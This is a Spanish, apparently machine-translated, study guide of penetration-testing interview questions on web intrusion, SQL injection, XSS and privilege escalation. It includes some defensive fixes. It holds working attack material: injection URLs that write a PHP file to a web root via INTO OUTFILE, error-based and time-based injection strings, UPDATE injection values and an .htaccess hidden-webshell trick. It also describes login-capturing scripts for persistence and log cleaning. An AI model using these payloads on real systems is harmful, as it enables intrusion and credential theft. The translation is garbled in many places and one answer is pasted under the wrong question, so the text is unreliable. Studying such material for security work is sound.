Resumen de las preguntas de la entrevista sobre pruebas de penetración (con análisis de respuestas + materiales de apoyo)

Nota: Todos los materiales se han compilado en archivos PDF y las preguntas y respuestas de la entrevista se actualizarán continuamente, porque de todos modos es imposible cubrir todas las preguntas de la entrevista.

1. Flujo de ideas

1. Recopilación de información

a. Información sobre el servidor (ip real, tipo de sistema, versión, puerto abierto, WAF, etc.)

b. Huellas digitales del sitio web (incluidos cms, cdn, certificados, etc.), registros dns

c. información whois, nombre, archivo, correo electrónico, verificación de teléfono (buzón perdido en la base de datos del trabajador social, preparación del trabajador social, etc.)

e. Colección de nombres de subdominios, estaciones laterales, segmento C, etc.

F. Búsqueda dirigida a piratería de Google, archivos pdf, versión de middleware, escaneo de contraseñas débiles, etc.

g. Escanee la estructura del directorio del sitio web, el fondo de explosión, el banner del sitio web, los archivos de prueba, las copias de seguridad y otros archivos confidenciales filtrados, etc.

h.Protocolo de transmisión, vulnerabilidades comunes, exp, código fuente de github, etc.

2. Minería de vulnerabilidad

a. Navegar por el sitio web para ver su escala, funciones, características, etc.

b. Escanee puertos, contraseñas débiles, directorios, etc., y realice detección de vulnerabilidades en los puertos correspondientes, como rsync, Blooding Heart, MySQL, FTP, SSH, contraseñas débiles, etc.

C. XSS, inyección SQL, carga, inyección de comandos, CSRF, detección de seguridad de cookies, información confidencial, transmisión de datos de comunicación, craqueo por fuerza bruta, carga de archivos arbitrarios, acceso no autorizado, acceso no autorizado, recorrido de directorio, inclusión de archivos, ataque de reproducción (bombardeo de SMS) ), detección de vulnerabilidades del servidor y, finalmente, utilizar herramientas de escaneo faltantes, etc.

3. Explotación de vulnerabilidades y escalada de privilegios

A. escalada de privilegios de mysql, escalada de privilegios de serv-u, escalada de privilegios de Oracle

B. Escalada de privilegios de desbordamiento de Windows

c, vaca sucia de Linux, escalada de vulnerabilidad del kernel e

4. Borrar datos de prueba e informe de salida

Limpie y resuma registros y datos de prueba
, genere un informe de prueba de penetración y adjunte un plan de reparación

5. Vuelva a probar

Verificar y descubrir nuevas vulnerabilidades, generar informes y archivar

Dos, el problema

1. Cuando consigues probar una estación, ¿qué crees que se debería hacer primero?

  • recoger mensaje

a. Obtenga la información whois del nombre de dominio, obtenga la dirección de correo electrónico, el nombre y el número de teléfono del registrante, etc., colóquelos en la base de datos del trabajador social para ver si hay alguna contraseña filtrada y luego intente iniciar sesión en segundo plano. con la contraseña filtrada. Utilice la dirección de correo electrónico como palabra clave para incluirla en el motor de búsqueda. Utilice la información asociada buscada para encontrar otras direcciones de correo electrónico y obtener cuentas sociales comunes. Los trabajadores sociales encuentran cuentas sociales, lo que puede descubrir el hábito del administrador de establecer contraseñas. Utilice la información existente para generar un diccionario especial.

b.Consulte los sitios del lado del servidor y los sitios de subdominio, porque el sitio principal generalmente es más difícil, por lo que primero verifique si hay cms comunes u otras lagunas en los sitios secundarios.

C. Verifique la versión del sistema operativo del servidor y el middleware web para ver si existen vulnerabilidades conocidas, como vulnerabilidades de análisis de IIS, APACHE y NGINX.

d.Verifique la IP, escanee el puerto de la dirección IP y detecte las vulnerabilidades de los puertos correspondientes, como rsync, blooding heart, mysql, ftp, ssh, contraseñas débiles, etc.

e. Escanee la estructura del directorio del sitio web para ver si puede recorrer el directorio o filtrar archivos confidenciales, como php probe
f, google hack para detectar más información del sitio web, antecedentes y archivos confidenciales.

  • análisis de vulnerabilidades

Comience a detectar vulnerabilidades, como XSS, XSRF, inyección SQL, ejecución de código, ejecución de comandos, acceso no autorizado, lectura de directorios, lectura de archivos arbitrarios, descargas, inclusión de archivos, ejecución remota de comandos, contraseñas débiles, carga, vulnerabilidades del editor, craqueo por fuerza bruta. esperar

  • explotar

Utilice los métodos anteriores para obtener webshell u otros permisos

  • escalada de privilegios

Servidor de escalada de privilegios, como escalada de privilegios udf de mysql en Windows, escalada de privilegios serv-u, vulnerabilidades de versiones inferiores de Windows, como iis6, pr, barbacoa brasileña, vulnerabilidad de la vaca sucia de Linux, escalada de privilegios de vulnerabilidad de la versión del kernel de Linux, mysql sistema bajo Linux Escalada de privilegios y escalada de privilegios bajos de Oracle

  • limpieza de registros

  • Informe resumido y plan de reparación.

2. ¿Cuál es la importancia de juzgar la penetración del CMS del sitio web?

Encuentre vulnerabilidades de programas que hayan quedado expuestas en Internet.

Si es de código abierto, también puede descargar el código fuente correspondiente para la auditoría de código.

3. Para un CMS maduro y relativamente seguro, ¿qué significa escanear el directorio al infiltrarse?

Archivos confidenciales, escaneo de directorio secundario

Malas operaciones por parte del webmaster, tales como: los archivos comprimidos de la copia de seguridad del sitio web, descripción.txt y el directorio secundario pueden almacenar otros sitios

4. Contenedores comunes de servidores web.

IIS, Apache, nginx, Lighttpd, Tomcat

5. Punto de inyección de MySQL, use la herramienta para escribir una oración directamente en la estación de destino, ¿qué condiciones se requieren?

permisos de root y la ruta absoluta del sitio web.

6. Qué versiones de contenedores se sabe actualmente que tienen vulnerabilidades de análisis, con ejemplos específicos.

a. IIS 6.0
/xx.asp/xx.jpg "xx.asp" es el nombre de la carpeta

b. Fast-CGI está habilitado de forma predeterminada en IIS 7.0/7.5
. Ingrese /1.php directamente después de la dirección de la imagen en la URL y la imagen normal se analizará como php.

c. La
versión de Nginx es menor o igual a 0.8.37, y el método de explotación es el mismo que el de IIS 7.0/7.5, y también se puede explotar cuando Fast-CGI está deshabilitado. Código de bytes nulo xxx.jpg.php

d. El archivo cargado por Apache se llama: test.php.x1.x2.x3, y Apache juzga el sufijo de derecha a izquierda

E. lighttpd xx.jpg/xx.php, incompleto, no dude en agregarlo en los comentarios, ¡gracias!

7. ¿Cómo juzgar manualmente y rápidamente si la estación de destino es un servidor Windows o un servidor Linux?

Linux distingue entre mayúsculas y minúsculas, Windows no distingue entre mayúsculas y minúsculas.

8. ¿Por qué solo hay un puerto 80 abierto para una estación de base de datos mysql?

Cambié el puerto, no escaneó.

Separación de biblioteca de estaciones.

El puerto 3306 no está abierto al mundo exterior.

9. Varias situaciones en las que 3389 no se puede conectar

El puerto 3389 no está abierto
El puerto está modificado
Protección e interceptación
Está en la red interna (se requiere reenvío de puerto)

10. ¿Cómo escapar de los personajes durante la inyección innovadora?


Bypass de codificación hexadecimal de inyección de caracteres amplios

11. ¿Qué debo hacer primero cuando veo un editor en una interfaz de edición de noticias en segundo plano?

Mire el nombre de la versión del editor y luego busque vulnerabilidades abiertas.

12. Obtenga un webshell y descubra que hay un archivo .htaccess en el directorio raíz del sitio web, ¿qué podemos hacer?

Hay muchas cosas que se pueden hacer, use el caballo de red oculto como ejemplo:
insertar

<FilesMatch “xxx.jpg”> Aplicación SetHandler/x-httpd-php

Los archivos .jpg se analizan en archivos .php.

Es difícil entrar en detalles sobre otras cosas específicas, se recomienda que busque oraciones usted mismo.

13. ¿La vulnerabilidad de inyección solo puede verificar la contraseña de la cuenta?

Mientras la autoridad sea amplia, arrastre la biblioteca para envejecer.

14. ¿SafeDog rastreará las variables para descubrir que se trata de un caballo de Troya de una sola frase?

Se basa en el código de función, por lo que es fácil de omitir. Siempre que tenga una mente amplia, puede rodear al perro hasta el punto de divertirse, pero esto no debe ser estático.

15. Access escanea los archivos de la base de datos con el sufijo asp y accede a caracteres confusos ¿Cómo implementar el uso local?

Descarga Thunder, cambie directamente el sufijo a .mdb.

16. Elija un directorio legible y grabable al escalar derechos, ¿por qué intentar no utilizar directorios con espacios?

Porque la mayoría de las ejecuciones de exp requieren espacios para definir parámetros.

17. Un servidor tiene los sitios A y B, ¿por qué agregar un usuario de prueba en el fondo de A para acceder al fondo de B? ¿Descubrió que también se agregó el usuario de prueba?

Misma base de datos.

18. ¿Puedo iniciar la inyección directamente ordenando sin usar and or or xor al inyectar?

y/o/xor, los pasos anteriores 1=1, 1=2 son solo para juzgar si es un punto de inyección. Si ya se determina que es un punto de inyección, entonces puede guardar ese paso.

19: Un sistema antiinyección le indicará al inyectar:

El sistema ha detectado que usted tiene un comportamiento de inyección ilegal.
Su ip xx.xx.xx.xx ha sido registrada
Hora: 2016:01-23
Enviar página: test.asp?id=15
Enviar contenido: y 1=1

20. ¿Cómo utilizar este sistema antiinyección para conseguir la concha?

Envíe una oración directamente en la URL, para que el sitio web también registre su oración en el archivo de la base de datos. En este momento, puede intentar encontrar el archivo de configuración del sitio web y vincularlo directamente al cuchillo de cocina.

21. Al acceder a caracteres confusos después de subirlos a Malasia, ¿cuáles son las soluciones?

Cambie la codificación en el navegador.

22. ¿Qué sentido tiene inspeccionar los elementos del punto de subida?

La limitación del tipo de archivo cargado de algunos sitios se implementa en la interfaz y, en este momento, siempre que se aumente el tipo de carga, la limitación se puede romper.

23. El sitio de destino prohíbe los usuarios registrados, simplemente ingrese el nombre de usuario en el área de recuperación de contraseña y solicite: "Este usuario no existe", ¿cómo cree que se usa?

Primero destruya el nombre de usuario y luego use el nombre de usuario destruído para destruir la contraseña.
De hecho, algunos sitios también solicitarán de esta manera al iniciar sesión.
Todos los lugares que interactúan con la base de datos pueden tener inyecciones.

24. La estación de destino encuentra que la dirección de descarga de un txt es

http://www.test.com/down/down.php?file=/upwdown/1.txt, ¿qué opinas?

¡Este es el legendario error de descarga! Después de file =, intente ingresar index.php para descargar el archivo de su página de inicio y luego continúe buscando los archivos de configuración de otros sitios web en el archivo de la página de inicio, puede encontrar la contraseña y la dirección de la base de datos del sitio web.

25. A le proporciona una estación de destino y le dice que hay un directorio /abc/ en el directorio raíz, y que hay directorios de editor y administrador en este directorio. ¿Cuáles son tus pensamientos?

Escanee archivos y directorios confidenciales directamente en el directorio secundario del sitio web /abc/.

26. En el caso de un shell, ¿cómo utilizar xss para lograr el control a largo plazo de la estación objetivo?

Agregue una sección de js para registrar la contraseña de la cuenta de inicio de sesión en el inicio de sesión en segundo plano y determine si el inicio de sesión es exitoso. Si el inicio de sesión es exitoso, registre la contraseña de la cuenta en un archivo con una ruta poco común o envíela directamente a su propio archivo del sitio web. . (Este método es adecuado para redes valiosas que requieren permisos de control profundo).

Inserte scripts XSS en archivos a los que solo se pueda acceder después de iniciar sesión.

27. En el lugar donde se modifica la contraseña del administrador en segundo plano, la contraseña original se muestra como *. ¿Cómo crees que será posible leer la contraseña del usuario?

Revise el elemento y cambie el atributo de contraseña en la contraseña a texto para mostrarlo en texto sin formato.

28. No hay protección en la estación de destino, se puede acceder a la carga de imágenes normalmente, pero al cargar el acceso en formato script resultará en 403. ¿Cuál es el motivo?

Hay muchas razones. Es posible que la configuración del servidor web escriba el directorio de carga hasta el final y no ejecute el script correspondiente. Intente cambiar el nombre del sufijo para omitir

29. Revisa el elemento para conocer el software de protección que utiliza el sitio web, ¿cómo crees que se hace?

Cuando las operaciones confidenciales están bloqueadas y la protección no se puede determinar a través de la información de la interfaz, F12 puede ver el contenido en el nombre del cuerpo HTML, como Patronus.

30. ¿Cuál es el propósito de crear una carpeta .zhongzi en el servidor win2003?

Carpeta oculta, para evitar que el administrador descubra las herramientas que subiste.

31. La inyección SQL tiene las siguientes dos opciones de prueba, elija una y explique las razones para no elegir la otra:

A. demo.jsp?id=2+1
B. demo.jsp?id=2-1
elija B, en codificación URL, + representa un espacio, lo que puede causar confusión

32. Hay una vulnerabilidad de inyección sql en el siguiente enlace ¿Qué opinas de esta inyección deformada?

demo.do?DATA=AjAxNg==
Los DATOS pueden estar codificados en base64 y luego enviados al servidor, por lo que también necesitamos codificar en base64 los parámetros para completar la prueba correctamente.

33. Encontré el punto de inyección de demo.jsp?uid=110, ¿qué tipo de ideas tienes para obtener el webshell, cuál es la mejor?

Si tiene permiso de escritura, utilice INTO OUTFILE para construir una declaración de consulta conjunta para redirigir el resultado de la consulta a un archivo del sistema, de modo que pueda escribirlo en WebShell. Utilice sqlmap –os-shell El principio es el mismo que el uno de arriba para obtener directamente un Shell, que es más eficiente: obtenga la cuenta y la contraseña del administrador del sitio web construyendo una declaración de consulta conjunta, luego escanee el fondo para iniciar sesión en segundo plano y luego cargue el Shell en segundo plano cambiando el paquete y cargarlo.

34. ¿Cuál es la diferencia entre CSRF, XSS y XXE y cómo solucionarlos?

XSS es un ataque de secuencias de comandos entre sitios. Se pueden construir códigos a partir de los datos enviados por los usuarios para su ejecución, a fin de realizar ataques como el robo de información del usuario. Método de reparación: escape de entidades de caracteres, use solo HTTP para prohibir que JavaScript lea valores de cookies, verifique la entrada y use la misma codificación de caracteres para navegadores y aplicaciones web.

CSRF es un ataque de falsificación de solicitudes entre sitios. XSS es uno de los muchos medios para implementar CSRF, porque no hay confirmación de si la operación clave es iniciada por el usuario voluntariamente. Método de reparación: filtre las páginas que deben protegerse contra CSRF y luego incruste el token, ingrese la contraseña nuevamente y verifique que Referer XXE sea un ataque de inyección de entidad externa XML. En XML, se pueden llamar entidades para solicitar contenido local o remoto De manera similar a la protección remota de archivos, causará problemas de seguridad relacionados, como la lectura de archivos confidenciales. Método de reparación: la biblioteca de análisis XML prohíbe estrictamente el análisis de entidades externas cuando se llama.

35. ¿Cuál es la diferencia entre CSRF, SSRF y ataques de repetición?

CSRF es un ataque de falsificación de solicitudes entre sitios, SSRF iniciado por el cliente es una falsificación de solicitudes del lado del servidor y un ataque de reproducción iniciado por el servidor es reproducir los paquetes de datos interceptados para lograr la autenticación de identidad y otros fines.

36. Nombra al menos tres vulnerabilidades de la lógica empresarial y cómo solucionarlas.

La vulnerabilidad de recuperación de contraseña existe en

1) La contraseña permite descifrar por fuerza bruta,

2) Existe un certificado de recuperación de uso general,

3) Puedes omitir el paso de verificación,

4) Para recuperar el certificado, puede bloquear el paquete para obtenerlo.

Obtener la contraseña a través de la función de recuperación de contraseña proporcionada por el fabricante. Las vulnerabilidades de autenticación más comunes son

1) Ataque de fijación de sesión

2) Phishing de cookies

Siempre que obtenga una sesión o una cookie, puede falsificar la identidad del usuario. La vulnerabilidad Captcha existe en

1) Captcha permite el craqueo por fuerza bruta

2) El código de verificación se puede omitir mediante Javascript o cambiando el paquete.

37. Encierra en un círculo los elementos que pueden tener problemas en las siguientes conversaciones y marca los posibles problemas.

get /ecskins/demo.jsp?uid=2016031900&keyword=”hola mundo”
HTTP/1.1Host: .com:82User-Agent:Mozilla/
5.0 Firefox/40Accept:text/css,/;q=0.1
Accept-Language:zh- CN;zh;q=0.8;en-US;q=0.5,en;q=0.3
Referencia:http://
****.com/ecop/orderForCC/
cgtListForCC.htm?zone=11370601&v=145902
Cookie:myguid1234567890 =1349db5fe50c372c3d995709f54c273d;
Uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;
st_uid=N90PLYHLZGJXI-NX01VPUF46W;
estado =
Conexión verdadera: mantener vivo

Si tiene permiso de escritura, utilice INTO OUTFILE para construir una declaración de consulta conjunta para redirigir el resultado de la consulta a un archivo del sistema, de modo que pueda escribirlo en WebShell. Utilice sqlmap –os-shell El principio es el mismo que el uno de arriba para obtener directamente un Shell, que es más eficiente: obtenga la cuenta y la contraseña del administrador del sitio web construyendo una declaración de consulta conjunta, luego escanee el fondo para iniciar sesión en segundo plano y luego cargue el Shell en segundo plano cambiando el paquete y cargarlo.

38. Darte un sitio web ¿Cómo se hace una prueba de penetración?, Bajo la premisa de obtener una autorización por escrito.

39, sqlmap, ¿cómo inyectar un punto de inyección?

1) Si es un modelo get, directamente, sqlmap -u "como URL de punto".
2) Si es un tipo de publicación como punto, puede usar sqlmap -u "URL de punto de inyección" --data="post parámetro "
3) Si es una cookie, X-Forwarded-For, etc., cuando pueda acceder a ella, use burpsuite para capturar el paquete, reemplace el sitio de inyección con un número, colóquelo en el archivo y luego sqlmap - r "dirección de archivo"

40. nmap, varias formas de escanear

41. ¿Cuántos tipos de inyección SQL?

1) Inyección de error
2) Inyección tipo bool
3) Inyección retrasada
4) Inyección de byte amplio

42. ¿Cuáles son las funciones para la inyección de errores? 10

1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】 2
)通过floor报错 向下取整
3)+and updatexml(1, concat(0x7e,(secect @@version ),0x7e),1)
4).geometrycollection()select from test donde id=1 y geometríacollection((select from(selectfrom(select user())a)b));
5).multipunto()seleccione de la prueba donde id=1 y multipunto((seleccione de(seleccione de(seleccione usuario())a)b));
6).polygon()seleccione de la prueba donde id=1 y polígono((seleccione de(seleccione de(seleccione usuario())a)b));
7).multipolygon()seleccione de la prueba donde id=1 y multipolygon((seleccione de(seleccione de(seleccione usuario())a)b));
8).linestring()seleccione de la prueba donde id=1 y linestring((seleccione de(seleccione de(seleccione usuario())a)b));
9).multilinestring()seleccione de la prueba donde id=1 y multilinestring((seleccione de(seleccione de(seleccione usuario())a)b));
10).exp()seleccione de la prueba donde id=1 y exp(~(seleccione * de

43. ¿Cómo juzgar la inyección retrasada?

if(ascii(substr(“hola”, 1, 1))=104, dormir(5), 1)

44. ¿Qué tienen en común la inyección ciega y la inyección retardada?

Es un juicio carácter por carácter.

45. ¿Cómo obtener el webshell de un sitio web? Cargar, editar plantillas en segundo plano, inyección SQL, escribir archivos, ejecutar comandos, ejecutar código, se han expuesto algunas vulnerabilidades de cms, como el fondo dedecms puede crear archivos de secuencia de comandos directamente, el complemento de carga de wordpress contiene archivos de secuencia de comandos, archivos zip, etc.

46. ​​​​¿Cuáles son las funciones de la inyección sql para escribir archivos?

seleccione 'una oración' en el archivo de salida 'ruta'
seleccione 'una oración' en el archivo de volcado 'ruta'
seleccione '' en el archivo de volcado 'd:\wwwroot\baidu.com\nvhack.php';

47. ¿Cómo prevenir la CSRF?

1) Verificar referente
2) Verificar
detalles del token: CNode: Comunidad china profesional de Node.js

48. ¿Cuáles son las vulnerabilidades de Owasp?

1) Métodos de protección de inyección SQL:
2) Autenticación de identidad y gestión de sesiones no válidas
3) Ataque de secuencias de comandos entre sitios XSS
4) Referencia directa a objetos inseguros
5) Errores de configuración de seguridad
6) Fuga de información confidencial
7) Falta de control de acceso a nivel funcional
8 ) Falsificación de solicitudes entre sitios CSRF
9) Uso de componentes con vulnerabilidades conocidas
10) Reenvíos y reenvíos no validados

49. ¿Método de protección contra inyección SQL?

1) Usar una API segura
2) Escapar los caracteres especiales de entrada
3) Usar una lista blanca para estandarizar el método de verificación de entrada
4) Controlar la entrada del cliente y no permitir la entrada de caracteres especiales relacionados con la inyección SQL
5) Filtrar, escapar del lado del servidor , reemplace y elimine caracteres especiales antes de enviarlos a la base de datos para consultas SQL.

50. ¿Cuáles son las funciones de ejecución de código, lectura de archivos y ejecución de comandos?

1) Ejecución de código:

eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

2) Archivo leído:

file_get_contents(),highlight_file(),fopen(),read
file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()

3) Ejecución del comando:

sistema(), exec(), shell_exec(), passthru(), pcntl_exec(), popen(),proc_open()

51. Además del atributo onerror de la etiqueta img, ¿hay alguna otra forma de obtener la ruta del administrador?

src especifica un archivo de script remoto para obtener el referente

52. Además del atributo onerror de la etiqueta img y el nombre del sufijo del atributo src debe terminar en .jpg, cómo obtener la ruta del administrador.

1) El servidor remoto modifica el archivo de configuración de Apache y configura el archivo .jpg para analizar AddType application/x-httpd-php .jpg en php

53. ¿Por qué el troyano aspx tiene mayor autoridad que asp?

Aspx utiliza tecnología .net. IIS no lo admite de forma predeterminada y ASP es solo un lenguaje de programación. Al invadir, el caballo de Troya de ASP generalmente tiene autoridad de invitado... El caballo de Troya de APSX generalmente tiene autoridad de usuario.

54. ¿Cómo evitar el waf?

Método de conversión de casos
Caracteres que interfieren/!/
codificación base64 Unicode hex url ascll múltiples
parámetros

55. ¿Cómo escribir webshell en el servidor?

Varias vulnerabilidades de carga
mysql tiene permiso de escritura, use la declaración sql para escribir
el método put http del shell

56. Puertos comunes en las pruebas de penetración.

A. Clase web (vulnerabilidad web/directorio sensible) Vulnerabilidad de componentes comunes de terceros struts thinkphp jboss ganglia zabbix

80 web
80-89 web
8000-9090 web

B. Clase de base de datos (busca contraseñas débiles)

1433 MSSQL
1521 Oracle
3306 MySQL
5432 PostgreSQL

C. Clase de servicio especial (no autorizado/clase de ejecución de comandos/vulnerabilidad)

443 SSL心zang滴血
873 Rsync未授权
5984 CouchDB http://xxx:5984/_utils/
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问

D. Tipos de puertos comúnmente utilizados (escaneo de contraseñas débiles/explosión de puertos)

21 ftp
22 SSH
23 Telnet
2601,2604 zebra路由,默认密码zebra
3389 远程桌面

TODOS, detalles totales del puerto

21 ftp
22 SSH
23 Telnet
80 web
80-89 web
161 SNMP
389 LDAP
443 SSL心zang滴血以及一些web漏洞测试
445 SMB
512,513,514 Rexec
873 Rsync未授权
1025,111 NFS
1433 MSSQL
1521 Oracle:(iSqlPlus Port:5560,7778)
2082/2083 cpanel主机管理系统登陆 (国外用较多)
2222 DA虚拟主机管理系统登陆 (国外用较多)
2601,2604 zebra路由,默认密码zebra
3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了
3306 MySQL
3312/3311 kangle主机管理系统登陆
3389 远程桌面
4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网
5432 PostgreSQL
5900 vnc
5984 CouchDB http://xxx:5984/_utils/
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
7778 Kloxo主机控制面板登录
8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上
8080 tomcat/WDCP主机管理系统,默认弱口令
8080,8089,9090 JBOSS
8083 Vestacp主机管理系统 (国外用较多)
8649 ganglia
8888 amh/LuManager 主机管理系统默认端口
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
28017 mongodb统计页面
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问

3. Del lado de un proveedor de seguridad

了解哪些漏洞

文件上传有哪些防护方式

用什么扫描端口,目录

如何判断注入

注入有防护怎么办

有没有写过tamper

3306 1443 8080是什么端口

计算机网络从物理层到应用层xxxx

有没有web服务开发经验

如何向服务器写入webshell

有没有用过xss平台

网站渗透的流程

mysql两种提权方式(udf,?)

常见加密方式xxx

ddos如何防护

有没有抓过包,会不会写wireshark过滤规则

清理日志要清理哪些

4. Protección contra inyección SQL

1. Usar API segura
2. Escapar de los caracteres especiales de entrada
3. Usar la lista blanca para estandarizar el método de verificación de entrada
4. Controlar la entrada del cliente y no permitir la entrada de caracteres especiales relacionados con la inyección SQL
5. Filtrar, escapar, del lado del servidor reemplace y elimine caracteres especiales antes de enviarlos a la base de datos para consultas SQL.
6. Codificación estándar y juego de caracteres.

Cinco, por qué la consulta parametrizada puede evitar la inyección de SQL

principio:

El uso del servidor de base de datos de consulta parametrizada no ejecutará el contenido del parámetro como parte del comando sql, se ejecutará con el parámetro después de que la base de datos complete la compilación del comando sql.

En pocas palabras: la razón por la que la parametrización puede evitar la inyección es que una declaración es una declaración, un parámetro es un parámetro y el valor de un parámetro no es parte de la declaración. La base de datos solo se ejecuta de acuerdo con la semántica de la declaración.

6. Punto de inyección del encabezado SQL

IP DE COOKIE
DE REFERENCIA UA

7. ¿Qué es la apuesta ciega? ¿Qué tan ciego?

La inyección ciega significa que durante el ataque de inyección SQL, el servidor apaga el eco de error. Simplemente juzgamos si hay inyección SQL y la explotamos mediante el cambio en el contenido devuelto por el servidor. Hay dos métodos de inyección ciega: uno es verificar si hay inyección verificando si el contenido devuelto de la página es correcto (basado en booleano). Una es juzgar si hay inyección (basada en el tiempo) a través de la diferencia en el tiempo de procesamiento de las declaraciones SQL. Aquí, puede usar funciones de referencia, suspensión y otras que causan efectos de retraso, o puede construir una tabla de consulta conjunta con un producto cartesiano grande.Para lograr el propósito del retraso.

8. El principio y la causa fundamental de la inyección de bytes amplios

1. Principio de generación

En el caso de que la base de datos utilice un conjunto de caracteres amplio y este problema no se considere en la WEB, en la capa WEB, como 0XBF27 son dos caracteres, cuando se habilitan los addlash y magic_quotes_gpc en PHP, se escapará la comilla simple 0x27, entonces 0xbf27 se convertirá en 0xbf5c27, y cuando los datos ingresen a la base de datos, debido a que 0XBF5C es otro carácter, el símbolo \ escape será "comido" por el bf anterior, y las comillas simples se pueden escapar de esto y usarse para cerrar. la declaración.

2. Dónde codificar

3. Causa raíz

Character_set_client (el juego de caracteres del cliente) y Character_set_connection (el juego de caracteres de la capa de conexión) son diferentes o funciones de conversión como iconv y mb_convert_encoding se utilizan incorrectamente.

4. Soluciones

Unifique los juegos de caracteres utilizados por bases de datos, aplicaciones web y sistemas operativos para evitar diferencias en el análisis, es mejor configurarlos en UTF-8. O escapar correctamente de los datos, como el uso de mysql_real_escape_string+mysql_set_charset.

5. Cómo usar solo actualización en SQL

Primero comprenda este SQL

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

La inyección se logra si este SQL se modifica para

a. Modifique el valor de la página de inicio a http://xxx.net', nivel de usuario='3

Entonces la declaración SQL se convierte en

UPDATE user SET password='mypass', homepage='http://xxx.net', userlevel='3' WHERE id='$id'

nivel de usuario es el nivel de usuario

b. Modifique el valor de la contraseña a mypass)' WHERE nombre de usuario='admin'#

Entonces la declaración SQL se convierte en

UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

c. Después de modificar el valor de identificación a 'O nombre de usuario ='admin', la declaración SQL se convierte en

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

Nueve, cómo escribir SQL Shell / qué hacer si se filtran las comillas simples

Escribir shell: autoridad de root, GPC desactivado, conocer la función de salida de la ruta del archivo

http://127.0.0.1:81/sqli.php?id=1 into outfile 'C:\\wamp64\\www\\phpinfo.php' FIELDS TERMINATED BY '<?php phpinfo(); ?>'

http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile 'C:\\wamp64\\www\\phpinfo.php'

inyección de bytes anchos

1. El método de sustitución de espacios.

%0a, %0b, %a0 etc.
/**/ etc. caracteres de comentario
<>

2. Inyección del sitio web Mysql, ¿cuál es la diferencia entre arriba de 5.0 y debajo de 5.0?

Por debajo de 5.0, no hay una tabla del sistema information_schema y es imposible enumerar nombres, etc., y solo se pueden ejecutar violentamente los nombres de las tablas.

Por debajo de 5.0 es una operación única multiusuario y por encima de 5.0 es una operación múltiple multiusuario.

10. XSS

1. Principio de XSS

reflexivo

Se pueden construir códigos a partir de los datos enviados por los usuarios para su ejecución, a fin de realizar ataques como el robo de información del usuario. Es necesario engañar a los usuarios para que "hagan clic" en un enlace malicioso para que el ataque tenga éxito.

tipo de almacenamiento

El XSS almacenado "almacenará" los datos ingresados ​​por el usuario en el lado del servidor. Este tipo de XSS tiene una gran estabilidad.

tipo DOM

El XSS formado modificando los nodos DOM de la página se denomina XSS basado en DOM.

2. La diferencia entre tipo DOM y tipo de reflexión

XSS reflejado: al inducir a los usuarios a hacer clic, la carga útil maliciosa que construimos activará XSS. Detección XSS reflectante Cada vez que solicitamos un enlace con una carga útil, la página debe tener datos específicos malformados. Tipo DOM: XSS formado modificando los nodos DOM de la página. El XSS basado en DOM es el XSS generado por la operación dom a través del código js, ​​por lo que es posible que ni siquiera obtengamos los datos con formato incorrecto correspondientes en la respuesta de la solicitud. La diferencia fundamental me parece ser la diferencia en el punto de salida.

3. Pruebas automatizadas de tipo DOM y XSS o pruebas manuales

Ideas de prueba manual: busque puntos de función como document.write, asignación de HTML interno, asignación de HTML externo, operación de ubicación de ventana, escritura de javascript: post-content, eval, setTimeout, setInterval, etc. para ejecutar directamente. Encuentre sus variables, rastree el origen de las variables para ver si son controlables y si han pasado por la función de seguridad. Para pruebas automatizadas, consulte el blog de Brother Dao. La idea es comenzar desde la entrada, observar el proceso de transmisión variable y finalmente verificar si hay salida en la función peligrosa y si hay una función segura en el medio. Pero esto requiere un analizador de JavaScript; de lo contrario, se perderá parte del contenido introducido mediante la ejecución de js.

Al responder a esta pregunta, dado que la detección habitual de clientes se basa básicamente en las funciones de diferentes puntos de función más la experiencia y la intuición, los diferentes tipos de métodos de detección XSS en realidad no están demasiado subdivididos ni estandarizados Métodos de detección, por lo que la respuesta apesta. . .

4. Cómo encontrar rápidamente la ubicación XSS

5. Sugerencias sobre cómo arreglar XSS

Verificación del punto de entrada: verifique la legalidad de los datos ingresados ​​por el usuario, use el filtro para filtrar caracteres confidenciales o códigos de escape y verifique el formato de tipos específicos de datos. Las comprobaciones de los puntos de entrada se implementan mejor en el lado del servidor.

Verificación del punto de salida: cuando la variable se envía a la página HTML, el contenido de salida se codifica y se escapa. Cuando la variable se envía en HTML, se codifica HTML. Si se genera en el script Javascript, se codifica Javascript. Coloque las variables que usan JavascriptEncode entre comillas y escape los caracteres peligrosos, para que la parte de datos no pueda escapar de las comillas y convertirse en parte del código. También puede utilizar un enfoque más restrictivo, utilizando codificación hexadecimal para todos los caracteres no alfanuméricos. Además, debe tenerse en cuenta que en los navegadores, el análisis HTML tendrá prioridad sobre el análisis Javascript, y el método de codificación también debe considerarse cuidadosamente. Para diferentes puntos de salida, nuestros métodos de defensa contra XSS pueden ser diferentes, lo cual puede discutirse en futuros artículos Haz un resumen.

Además, existe HTTPOnly para limitar el secuestro de cookies.

6. Condiciones de producción de gusanos XSS.

En circunstancias normales, una es que la página que genera el punto XSS no pertenece a la página propia, y la página que genera un comportamiento interactivo entre los usuarios puede provocar la generación de un gusano XSS.
El XSS almacenado no es necesariamente necesario

11. CSRF

1. Principio del CSRF

